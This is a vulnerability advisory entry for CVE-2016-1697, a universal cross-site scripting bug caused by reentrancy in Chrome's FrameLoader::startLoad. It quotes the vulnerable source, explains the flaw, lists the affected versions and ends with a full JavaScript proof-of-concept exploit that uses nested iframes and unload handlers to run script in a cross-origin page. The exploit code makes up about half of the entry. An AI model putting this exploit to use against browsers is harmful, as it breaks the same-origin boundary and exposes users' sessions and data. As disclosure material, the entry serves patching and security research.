Chrome Universal XSS via reentrancy in FrameLoader::startLoad (CVE-2016-1697)

2017-04-21T00:00:00
ID SSV:93003
Type seebug
Reporter Root
Modified 2017-04-21T00:00:00

Description

VULNERABILITY DETAILS

From /third_party/WebKit/Source/core/loader/FrameLoader.cpp: ``` void FrameLoader::startLoad(...) { ASSERT(client()->hasWebView()); if (m_frame->document()->pageDismissalEventBeingDispatched() != Document::NoDismissal) return; (...) m_frame->document()->cancelParsing(); detachDocumentLoader(m_provisionalDocumentLoader);

// beforeunload fired above, and detaching a DocumentLoader can fire
// events, which can detach this frame.
if (!m_frame->host())
    return;

m_provisionalDocumentLoader = client()->createDocumentLoader(m_frame, request, (...));
(...)
m_provisionalDocumentLoader->startLoadingMainResource();
(...)

} ```

Detaching the provisional document loader can trigger load event handlers that may reenter FrameLoader::startLoad and attach a new provisional loader. After |detachDocumentLoader| returns, the pointer to the new loader is immediately overwritten. As a result, the abandoned loader will remain attached to the frame for the duration of its lifetime, which allows an attacker to escape from FrameLoader::prepareForCommit without the risk of canceling the load.

VERSION

Chrome 51.0.2704.54 (Beta)
Chrome 52.0.2739.0 (Dev)
Chromium 52.0.2742.0 (Release build compiled today)

                                        
                                            
                                                <script>
onload = function() {
  var a = i1.contentDocument.createElement('a');
  a.href = 'data:text/xml,';
  a.click();
}

var i0 = document.documentElement.appendChild(document.createElement('iframe'));
i0.contentDocument.open();
var i1 = document.documentElement.appendChild(document.createElement('iframe'));
i1.src = 'data:text/html,a';
var i10 = i1.contentDocument.body.appendChild(document.createElement('iframe'));
i10.contentWindow.onunload = function () {
  i10.contentWindow.onunload = null;
  if (document.readyState == 'loading') {
    return location.reload();
  }
  i0.contentDocument.close();
  var a = i1.contentDocument.createElement('a');
  a.href = 'data:text/html,';
  a.click();
  a = i1.contentDocument.createElement('a');
  a.href = 'about:blank';
  a.click();
  d = i1.contentDocument;
  i10 = d.body.appendChild(d.createElement('iframe'));
  i10.contentWindow.onunload = function() {
    stop();
    setTimeout(f, 1);
  }
  a = d.createElement('a');
  a.href = 'http://www.apple.com';
  a.click();
}

function f() {
  i1.onload = function() {
    var x = d.createElement('form');
    x.action = 'javascript:alert(location)';
    x.submit();
  }
  i1.src = 'https://abc.xyz';
}
</script>